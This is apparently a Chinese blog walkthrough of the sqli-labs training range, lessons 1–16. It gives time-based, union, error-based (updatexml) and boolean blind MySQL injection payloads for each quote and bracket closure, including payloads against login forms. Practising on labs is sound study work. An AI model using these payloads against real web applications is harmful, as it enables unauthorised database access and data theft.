怎么验证sql注入的存在呢?
首先,双引号单引号注入,看看有没有报错,或者与正常参数的区别,有报错说明大概率可以注入成功,但是,很可能单引号和双引号测试可能没有报错回显,或者与正常参数显示一模一样,这种情况的原因是多方面的,黑盒测试环境下也不好排查。
那么有没有能稳定确定sql注入点的方式或语句呢?
我认为,时间注入是最有效且稳定检验sql注入点的方式,就此靶场而言,所有的注入点都可以使用时间注入进行检测,而且时间注入相对稳定,它是一种在没有任何回显数据的情况下也能利用sql注入的一种手法,相对于其他手法,时间注入的利用过程会更加复杂。
时间注入检测注入点的语句有哪些?
id=1 and if(1=1,sleep(1),1) # 无闭合 id=1" and if(1=1,sleep(1),1) and "1"="1 # 双引号闭合 id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合 id=1') and if(1=1,sleep(1),1) and ('1')=('1 # 单引号括号闭合 id=1) and if(1=1,sleep(1),1) and (1)=(1 # 括号闭合 id=1") and if(1=1,sleep(1),1) and ("1")=("1 # 双引号括号闭合 以上就是检测注入的闭合方式,如果能检测到sleep,在加上简单的判断,你将知道其闭合方式
注:如果以上的一个语句注入成功的话,并不代表着源码就按照这个语句闭合,比如说
id=1 and if(1=1,sleep(1),1) 能验证成功,也有可能是()闭合 id=1) and if(1=1,sleep(1),1) and (1)=(1 这个语句验证成功,原因如下: SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1 SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1 或者如果:id=1' and if(1=1,sleep(1),1) and '1'='1 语句能验证成功,也有可能是('')闭合:id=1') and if(1=1,sleep(1),1) and ('1')=('1 原因如下 SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1 SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1 ') LIMIT 0,1 总之,针对以上语句,如果有哪个语句验证成功,它加括号也能验证成功,此种情况有个优点: 如果你能测试成功一个语句,你将缩小判断它闭合方式的范围, 这个范围就是语句本身,或语句本身在加个()闭合,或其他闭合方式,或多个((()))括号的闭合
注:执行sleep()的时候一定要确保所有and连接的条件都为真,示例如下
在一个登录页面注入: SELECT username, password FROM users WHERE username='' and password='' LIMIT 0,1 username=admin' and if(1=1,sleep(1),1) and '1'='1 password=123 SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) and '1'='1' and password='123' LIMIT 0,1 如果要sleep,那么需要条件(username='admin')('1'='1')(password='123')都成功,而如果password我们不知道,这个条件不成功,也就不sleep,如果你知道密码,把password改成正确的密码,这条语句也能使用 总结:只要and连接的条件有1个为假,sleep就不会执行
以上是我打完靶场总结来的,在我能接触足够多的实战sql注入之前,我可能一直使用它。
sql注入全回显、半回显、报错回显、无回显利用思路
全回显:
通常是注入利用的内容=页面显示的内容
利用:union select
半回显:
通常是不回显数据库数据到页面,但是会在页面上显示是否有结果
利用:and substr(database(),1,1) ='s'
如果是预期回显结果,证明我们爆破的字符正确
如果不是预期回显结果,直接pass
写脚本
报错回显
通常有mysql报错信息
利用:and updatexml(1,concat(0x7e,database(),0x7e),1)
直接把database内容会先到报错上
无回显
没有任何回显,或注入成功后的回显和不成功的回显一模一样
利用:and if(substr(database(),1,1)='s',sleep(1),1)
如果sleep 1秒,爆破的字符正确
如果没sleep,直接pass
写脚本
这个系列文章包含我的一些其他的tips,可能对实战很有帮助
因为此系列靶场过多且重复,我先以database数据库名作为靶标(flag),之后以上sql注入全回显、半回显、报错回显、无回显利用,我会单独放在一个文章
less1(单引号闭合、全回显)
id=1 and if(1=1,sleep(1),1) # 能检测到单引号注入 1' union select 1,database(),3 --+ # 显示出database
less2(无闭合、全回显)
id=1 and if(1=1,sleep(1),1) # 无闭合 id=0 union select 1,database(),3 --+ # 全回显
less3(单引号加括号闭合、全回显)
id=1') and if(1=1,sleep(1),1) and ('1')=('1 # 单引号加括号闭合 id=0') union select 1,database(),3 --+ # 全回显
less4(双引号加括号闭合、全回显)
id=1") and if(1=1,sleep(1),1) and ("1")=("1 # 双引号加括号闭合 id=0") union select 1,database(),3 --+ # 全回显
less5(单引号闭合、报错回显)
id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合 id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错回显
less6(双引号闭合、报错回显)
id=1" and if(1=1,sleep(1),1) and "1"="1 # 双引号闭合 id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1 # 报错回显
less7(单引号括号闭合、报错回显)
id=1') and if(1=1,sleep(1),1) and ('1')=('1 # 单引号括号闭合 id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) and ('1')=('1 # 报错回显
less8(单引号闭合、半回显)
id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合 id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错无回显 # 需要写脚本跑 id=1' and substr(database(),1,1)='s' and '1'='1 # 半回显
less9(单引号闭合、无回显、时间注入tips)
id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合 id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错无回显 id=1' and substr(database(),1,1)='s' and '1'='1 # 所有回显结果都一样 #写脚本 id=1' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1 # 无回显 时间盲注小tips: 如果要时间注入,注意判断语句全都是真才可以sleep 例如:id=0' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1 查询结果为空(因为不存在id=0的用户),不会sleep 而id=1' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1 会sleep
less10(双引号闭合、无回显、时间注入)
id=1" and if(1=1,sleep(1),1) and "1"="1 # 双引号闭合 id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1 # 报错无回显 id=1" and substr(database(),1,1)="s" and "1"="1 # 所有回显结果都一样 #写脚本 id=1" and if(substr(database(),1,1)="s",sleep(1),1) and "1"="1 # 无回显
less11(单引号闭合、全回显)
首先为了我们的数据不被浏览器修改,我们要burpsuit抓包 测试username: admin' and if(1=1,sleep(1),1) and '1'='1 # 不成功 admin' and if(1=1,sleep(1),1) # # 成功 Username:0' union select 1,database()# # 全回显 # 同样是单引号为何第一个不成功,第二个成功,首先不成功的语句如下: SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) and '1'='1' and password='123' LIMIT 0,1 如果要sleep,那么需要条件(username='admin')('1'='1')(password='123')都成功,而如果password我们不知道,这个条件不成功,也就不sleep,如果你知道密码,把password改成正确的密码,这条语句也能使用 # 而成功的语句如下: SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) #' and password='123' LIMIT 0,1 他会直接注释掉password='123'的判断
less12(双引号括号闭合、全回显)
测试username: admin") and if(1=1,sleep(1),1) # # 双引号括号闭合 0") union select 1,database() # # 全回显
less13(单引号括号闭合、报错回显)
测试username: admin') and if(1=1,sleep(1),1) # # 单引号括号闭合 0') and updatexml(1,concat(0x7e,database(),0x7e),1) and ('1')=('1 # # 报错回显
less14(双引号闭合、报错回显)
测试username: admin" and if(1=1,sleep(1),1) # # 双引号闭合 0" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1 # # 报错回显
less15(单引号闭合、半回显)
测试username: admin' and if(1=1,sleep(1),1) # # 单引号闭合 0' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # # 没有报错回显 admin' and substr(database(),1,1)='s'# # 半回显 写脚本 可以通过判断页面回显,是否login success,如果是说明爆破的字符正确,否则pass
less16(双引号括号闭合、半回显)
测试username: admin") and if(1=1,sleep(1),1) # # 双引号括号闭合 0") union select 1,database() # # 没有全回显 admin") and substr(database(),1,1)='s'# # 半回显 写脚本 可以通过判断页面回显,是否login success,如果是说明爆破的字符正确,否则pass